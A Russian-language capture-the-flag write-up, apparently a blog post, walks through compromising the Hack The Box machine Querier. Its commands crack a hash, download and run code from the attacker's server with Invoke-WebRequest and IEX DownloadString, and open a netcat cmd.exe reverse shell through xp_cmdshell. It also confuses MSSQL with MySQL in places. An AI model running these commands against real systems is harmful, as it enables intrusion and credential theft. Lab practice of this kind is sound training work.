Привет! Из этой статьи вы узнаете о способе атаки на удаленный сервер, используя особенности MySQL, создания reverse shell для закрепления в системе и пример эксплуатации плохо сконфигурированной групповой политики в ОС Windows.
Под катом пойдет речь про свой опыт прохождения лабораторной машины Querier на портале hackthebox.
Для тех, кто не знает, что такое hackthebox — это портал, на котором вы можете проверить свои умения пентеста на практике, имеются CTF таски и собственно лабораторные машины.

Сбор информации
Начнем разведку с запуска сканирования портов с помощью nmap.
nmap –sC –Pn –A 10.10.10.125

Перечислим найденные порты.
Enumerate 139/445/tcp (smb)
Воспользуемся утилитой smbclient для доступа к SMB ресурсам сервера.
smbclient –L //10.10.10.125
Пройдясь по всем ресурсам, находим в директории Reports файл “Currency Volume Report.xlsm”.
![]()
Если открыть этот файл стандартным Microsoft Excel, то он окажется на первый взгляд совершенно пустым.
Проанализируем файл, используя утилиту binwalk, которая поможет взглянуть на встроенные файлы xlsm- документа.

Из вывода binwalk обнаружили несколько интересных файлов, содержащихся в xlsm.
Используя флаг –e, распакуем его.
binwalk –e Currency Volume Report.xlsm
Теперь воспользуемся утилитой strings для вывода печатных символов. Пробежавшись по файлам, находим интересные данные в vbaProject.bin. Похоже, что мы нашли учетные данные для mysql server’а.

Подытожим полученную информацию на текущий момент:
- Мы знаем, что на порту 10.10.10.125:1433 крутится mysql server;
- У нас есть учетные данные от пользователя mysql server.
Так давайте попробуем подсоединиться к серверу, используя скрипт из модуля impacket.
python mssqlclient.py QUERIER/reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Получаем доступ к MySQL.

Enumerate MySQL
Перечислим полезную для нас информацию, используя команды из статьи.
Выполнив SQLi, получаем хеш от пароля пользователя mssql-svc.

Чтобы получить пароль в явном виде, необходимо его сбрутить, используя любой удобный для вас инструмент.
-
john --format=netntlmv2 hash.txt -
hashcat -m 5600 -a 3 hash.txt
Получаем пароль от mssql-svc.
Подключаемся к SQL с новыми кредитами учетными данными.
python mssqlclient.py QUERIER/mssql-svc:'corporate568'@10.10.10.125 -windows-auth
Права этого пользователя позволяют нам выполнять xp_cmdshell
Получаем reverse shell
Пробуем получить оболочку через netcat, для этого нам необходимо загрузить его на атакуемый сервер.
Переходим в директорию на нашей машине, где находится netcat и запускаем:
python –m SimpleHTTPServer
В оболочке mysql для загрузки netcat (nc.exe) на удаленный сервер, выполняем команду powershell, указав путь сохранения.
xp_cmdshell "powershell.exe Invoke-WebRequest "http://10.10.x.x:8000/nc.exe" –
OutFile "C:Usersmssql-svcDesktopnc.exe" "
Запускаем netcat на прослушивание порта 4444.
xp_cmdshell "powershell C:/Users/mssql-svc/Desktop/nc.exe -l -p 4444 -e cmd.exe"
Запускаем на своей стороне netcat, указав ip и порт, атакуемого сервера и получаем оболочку.
nc 10.10.10.125 4444
Запускаем скрипт от PowerShellMafia для повышения привилегий.
powershell.exe IEX (New-Object Net.WebClient).DownloadString("http://10.10.x.x:8000/PowerUp.ps1"); Invoke-AllChecks

В результате выполнения скрипта получили учетные данные администратора.
Заходим на ресурсы smb с новыми учетными данными и полномочиями.


Забираем флаг root.txt. Победа!
Автор: Юрий
